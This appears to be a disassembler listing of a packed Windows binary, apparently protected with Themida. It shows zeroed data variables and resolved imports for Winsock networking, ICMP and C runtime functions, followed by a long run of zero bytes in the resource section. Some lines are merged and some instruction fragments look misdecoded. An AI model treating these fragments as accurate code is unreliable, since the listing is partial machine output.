byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44530Co
		dd 0BFFh dup(0)
		db 2 dup(0)
word_4D744E	dw 0			; DATA XREF: Themida_:00596B63o
					; Themida_:00596B74o
		dd 2CEh	dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408291o
					; ___:00408722o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408736o ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
dword_4E8E9C	dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
dword_5103D8	dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(1AA6794Dh), 5 dup(65E48F8Fh), 5 dup(62BB46C0h)
		dd 5 dup(367B0C75h), 5 dup(66DFA7DFh), 5 dup(631E0D7Bh)
		dd 5 dup(24DCE02Ah), 5 dup(1833ACDBh), 5 dup(6708C228h)
		dd 5 dup(567B75C4h), 5 dup(69387376h), 1Eh dup(0)
		dd 631E0D7Bh, 10h dup(0)
aVs8i		db 'vs8i',0
		align 10h
		dd 58h dup(0)
		dd 367B0C75h, 1Ch dup(0)
		dd 6708C228h, 14h dup(0)
		dd 65E48F8Fh, 52h dup(0)
		dd 1AA6794Dh, 1Bh dup(0)
		dd 567B75C4h, 0Bh dup(0)
		dd 24DCE02Ah, 0Ch dup(0)
		dd 66DFA7DFh, 2Bh dup(0)
		dd 1833ACDBh, 11h dup(0)
		dd 62BB46C0h, 0Ah dup(0)
		dd 28A0000h, 28B0000h, 28C0000h
dword_511718	dd 28C147Eh			dd 28C1591h
dword_511720	dd 28C17EEh			dd 28C1B04h, 28D0000h
dword_51172C	dd 28E0000h			dd 28F0000h, 28F0475h, 28F0876h, 28F0CFEh
dword_511740	dd 2900000h						; sub_40E870+25Ar ...
dword_511744	dd 2900508h	dword_511748	dd 2900761h			dd 29009A8h, 2910000h
dword_511754	dd 29103E8h						; sub_40EE40+15Er ...
		dd 29107A1h
dword_51175C	dd 2920000h						; sub_40E870+22Cr
		dd 2930000h
dword_511764	dd 29301A3h						; sub_4208E0+285r ...
		dd 2940000h
dword_51176C	dd 2941385h						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2700000h						; sub_420630+FEr
		dd 2710000h, 2720000h, 2720620h, 27207C4h, 2720A9Fh, 2720C8Ch
		dd 2730000h, 273064Bh, 2730A55h, 2730D3Ah, 2740000h, 27405D1h
		dd 2740618h, 274097Eh, 2750000h, 2750379h, 27506C6h, 27508C9h
		dd 2750B9Fh, 2760000h, 276055Ch, 2760623h, 276099Fh, 2760C44h
		dd 2770000h, 27702ACh, 27704D4h, 27706F1h, 277084Dh, 2770A69h
		dd 2770AD1h, 2780000h
dword_511864	dd 27807B0h	dword_511868	dd 2780DB4h	dword_51186C	dd 2790000h			dd 7C901005h, 7C9010EDh, 27901E5h, 2790238h, 2790261h
		dd 27903F8h, 2790BD1h, 27A0000h, 27A046Ah, 27B0000h, 27C0000h
		dd 27C07F2h, 27D0000h, 27E0000h, 27E08A3h
dword_5118AC	dd 27E0B10h						; sub_410030+47r ...
		dd 27E0B6Eh, 27F0000h, 27F0459h, 2800000h, 2801083h, 2810000h
		dd 2820000h
dword_5118CC	dd 2821584h			dd 28217C7h, 2821B13h
dword_5118D8	dd 2821DE2h						; sub_41B5B0+2Fr ...
		dd 2830000h
dword_5118E0	dd 283061Dh						; sub_4204D0+2Er ...
		dd 283094Ah, 2840000h, 2840B5Ch
dword_5118F0	dd 2850000h			dd 28502DCh, 2860000h, 2870000h, 2871161h, 2871C1Eh, 2880000h
		dd 28807F9h, 2880C71h
		dd 2890000h
dword_511918	dd 289036Ch						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Ϋ
		db 0F1h	; ρ
		db 0C1h	; Α
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2890B15h
off_511C00	dd offset sub_5F76F7	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
unk_513000	db    0			; DATA XREF: Themida_:00582500o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
